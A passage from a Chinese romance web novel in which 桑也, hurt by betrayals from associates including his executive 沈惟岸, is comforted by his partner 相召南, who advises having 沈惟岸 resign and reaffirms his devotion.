他给相召南发了个房号,便把手机熄灭,开车去了酒店。 他没有开灯,也没有拉开窗帘,就在套房的客厅坐着,直到相召南赶过来。 明亮的灯光一瞬间有些刺眼,让他不得不抬手遮了遮光。 这时灯光逐渐昏暗下来,是相召南调了光亮。 相召南放了一个盒子在桌上,走了过去,开口之前先把桑也抱进怀里。 “心情不好?” 桑也僵僵地回头看他,抿着唇,半晌才道:“沈惟岸的确如你所说那样。” “你很难过?” 相召南立马道,身上一股酸气。 桑也摇头,慢慢地,缓缓地,像是行将就木的老人转动生锈的关节。 “不是他,是他们。” 相召南沉默了一瞬。 “他们?” “林肯,张明,沈惟岸,还有……那个论坛。” 桑也仰起头,看着对面墙壁上的壁灯,“是不是我错了?我不该考虑得太多,奢求太多。林肯就是林肯,张明就是张明,沈惟岸就是沈惟岸,我们只是合作伙伴,上下属,同事,而不是朋友。” 为什么他们能毫不留情地出卖自己,而自己却在割舍之间摇摆不定。 第一次被林肯算计的时候,他甚至没想过要林肯赔付,只是自己离开了M国,因为他觉得林肯帮了自己那么多,自己不能忘恩负义。 得知张明三年来一直在和相召南暗通款曲时,他也只是让张明自己离开,没有以泄露商业秘密的理由去追究张明的过错。 那时他还在想,张明原本不是这样的。跟在他身边三年,做事尽心尽力,是个合格的助理。 现在发现沈惟岸竟然也和他表面的样子不一样。 他该怎么做? 还是一样高高拿起,轻轻放下? “我……不知道该怎么处理沈惟岸的事。” 桑也有些沮丧。 友善是他的拿手好戏,雷厉风行却逐渐湮没在了成长之中。 相召南拦住他腰的手臂稍稍收紧了些。 “开除?你舍不得?” 桑也低声回答:“我只是觉得,他作为一个管理层,是很优秀的人士,开了他,我不一定还能找到下一个同样精通生物科技和管理的复合型人才。” “是不是觉得我优柔寡断,跟你喜欢的那个人完全不一样?”桑也自嘲地笑着。 相召南紧紧抱着桑也,把他放在自己腿上。 “不,你什么样我都喜欢。” 无论是赛场上恣意风扬的桑也,还是商场上自信优雅的桑也,抑或是怀里犹豫不决脆弱敏感的桑也,都是他的心之所向。 人总是复杂的,将一个人的某种品质孤立地当成个体,是他犯过最大的错。 “不是优柔寡断,是珍惜自己的付出和努力,把事业看得比自己更重。” 经营一段关系并不是简单的事情,桑也必然花了不少心血。 这段关系将比任何奇珍异宝都要贵重,所以很难轻易放弃,这不难理解。 “你比常人看得更多,更广,所以更难抉择,这是你的优点,不是缺陷。” “舍离是件需要学习的难题,”相召南低头吻着桑也的头顶,“我可以教你。” “首先,让沈惟岸自己请辞。” 桑也靠着相召南的胸,低笑传出震震颤动,“真是奸商。” 笑完,他窝在相召南怀里,唇角微微上扬,轻问:“我还可以期待真心吗?” 相召南看不见桑也的表情,只听声音,浑身一滞,仿佛有千钧重量压在他身上,令他难以动弹,连心跳都困难。 那轻飘飘一句“我还可以期待真心吗”,宛如神父手持圣经,询问他: 你是否愿意这个男子成为你的配偶与他缔结婚约?无论疾病还是健康,无论贫穷还是富有,或任何其他理由,都爱他,照顾他,尊重他,接纳他,永远对他忠贞不渝直至生命尽头? 相召南郑重地给予回答:“当然。” 当然可以。当然愿意。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&